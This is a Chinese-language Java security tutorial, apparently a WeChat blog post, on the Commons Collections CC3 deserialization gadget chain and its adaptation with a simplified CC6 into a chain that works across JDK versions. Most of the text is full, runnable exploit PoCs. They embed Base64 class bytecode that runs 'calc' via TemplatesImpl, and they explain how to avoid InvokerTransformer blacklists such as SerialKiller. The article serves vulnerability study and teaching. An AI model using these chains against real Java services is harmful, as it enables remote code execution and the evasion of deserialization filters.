本文为JAVA安全系列文章第十四篇，学习CC3链以及对其进行通杀改造。
前面我们在基础篇中补充了动态字节码加载这个知识点，我们知道通过TemplatesImpl这个类的newTransformer()方法可以调用其内部自定义的TransletClassLoader来加载字节码获取Class对象，再通过newInstance()对其进行实例化，其中加载的字节码可由我们控制传入。
这其实是另一种执行命令的方式，前面我们都是通过InvokerTransformer来调用任意对象的任意方法来达到执行命令的目的，那么学了动态字节码加载，我们又如何即学即用地将其运用到反序列化链的构造中呢？
0x01 TemplatesImpl改造TransformedMap CC1 Demo
在JAVA安全|Gadget篇：TransformedMap CC1链一文中我们提到p神在《JAVA安全漫谈》中谈到的一个巨简单弹计算器Demo:
那么结合前面通过TemplatesImpl加载字节码的POC，我们如何对这段Demo进行改造，让最终执行命令的是TemplatesImpl呢？
只需让transformers数组中的InvokerTransformer最终调用的是TemplatesImpl#newTransformer()即可。即为：
完整Demo如下：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3_Demo {
public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj,value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAVCQAWABcIABgKABkAGggAGwgAHAcAHQcAHgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAfAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAEAARBwAgDAAhACIBABjosIPnlKjkuobmma7pgJrku6PnoIHlnZcHACMMACQAJQEAFeiwg+eUqOaXoOWPguaehOmAoOWZqAEAGOiwg+eUqOS6humdmeaAgeS7o+eggeWdlwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABwAIAAAAAAAEAAEACQAKAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAALAA0AAAAEAAEADgABAAkADwACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEAANAAAABAABAA4AAQAQABEAAQALAAAAOQACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAQAMAAAAEgAEAAAAGgAEABcADAAbABQAHAAIABIAEQABAAsAAAAlAAIAAAAAAAmyAAISBrYABLEAAAABAAwAAAAKAAIAAAATAAgAFAABABMAAAACABQ=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","xxx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{code});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test","123");
}
}
运行结果：
那我们只需要把这段Demo的TransformedMap换成LazyMap，接上Ysoserial CC1的后半段是不是就变成了CC3链了？当然不是，如果CC3链仅是如此，我不会花一篇文章来写它了。
0x02 Ysoserial CC3链
1.为什么需要CC3链
据p神在《JAVA安全漫谈》中的描述，在Ysoserial的作者发布第一版的ysoserial后，开发者们开始寻求⼀种安全的过滤⽅法，于是SerialKiller—⼀个Java反序列化过滤器就诞⽣。它通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中，最初的⿊名单中就有InvokerTransformer：
CC3的产生似乎就是为了绕过对InvokerTransformer的限制。
那如何做到不使用InvokerTransformer就能构造一条完整的链子呢？
2.TrAXFilter
我们就按照以前的思路通过find usages来找谁调用了TemplatesImpl#newTransformer()：
我们选择看着就觉得比较简单的com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类。在它的构造器中调用了(TransformerImpl) templates.newTransformer()。
3.InstantiateTransformer
由于是构造方法，若我们再按照之前的思路去找谁调用了TrAXFilter的构造器时，发现最终找到的还是构造方法。此处需要转变下思路，在一系列实现了org.apache.commons.collections.Transformer接口的类中，除了InvokerTransformer还有没有哪个可以调用到任意类的构造方法呢？
最终找到org.apache.commons.collections.functors.InstantiateTransformer：
显然，这个类就是为调用任意类的public构造方法而生的，它的transform()方法通过反射调用任意类的public构造器。妙哉！！！
4.POC编写
显然，Gadget链很清晰了，我们只需要将上面的CC3_demo中的Transformer数组改成：
字节码改成弹计算器，后面改成LazyMap CC1链的后半部分，即为CC3链的POC。
完整POC如下：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javafx.fxml.FXML;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(FXML.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(FXML.class, proxyMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
运行即弹计算器：
0x03 CC3 + 简化版CC6 = ？
显然，CC3链同CC1链一样，都会有JDK<=8u71的限制。那么我们可以结合前面学的CC6链（实际上是简化版CC6）将其改造成一个通杀的链子。这里不解释，完全理解了前面分析的文章cv大法即可立马写出改造的POC。
代码如下：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3_CC6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
Transformer[] fakeformers = {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
//先传入人畜无害的fakeformers避免put时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
lazyMap.remove("xxx");
//反射修改chainedTransformer中的iTransformers为transforms
// Class clazz = chainedTransformer.getClass();
// Field field = clazz.getDeclaredField("iTransformers");
// field.setAccessible(true);
// field.set(chainedTransformer, transformers);
setFieldValue(chainedTransformer,"iTransformers",transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
JDK11下运行，无压力弹出计算器：
0x04 总结
1.CC3链可以看成是使用了TemplatesImpl动态加载字节码执行命令且无InvokerTransformer的CC1改造链。
2.细心的读者会发现TrAXFilter这个类它没有实现Serializable接口，它是不能序列化的，类图如下：
但我们的POC能运行成功，这又是为什么呢？因为我们传入的是TrAXFilter.class。在学习TransformedMap CC1链时就说过Class这个类是可序列化的，故而一个不可序列化类的class对象是可序列化的。
3.结合（简化版）CC6可以改造CC3为一条通杀链，它与CCK1，CC11的主要区别在于其Transformer数组长度为2，且其没用到InvokerTransformer这个类。也可以当作一条很好的链子使用。
CCK1 ，CC11这两条链子我们经常会在shiro反序列化漏洞利用工具中见到，那么传说中的CCK1 ，CC11又是怎么回事呢？
欲知后事如何，且听下回分解~
参考：
p神《JAVA安全漫谈》
B站白日梦组长
Java安全系列文集
第6篇：JAVA安全|基础篇：反射机制之常见ReflectionAPI使用
第8篇：JAVA安全|Gadget篇：TransformedMap CC1链
第10篇：JAVA安全|Gadget篇：LazyMap CC1链
第11篇：JAVA安全|Gadget篇：无JDK版本限制的CC6链
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原文始发于微信公众号（沃克学安全）：JAVA安全|Gadget篇：CC3链及其通杀改造
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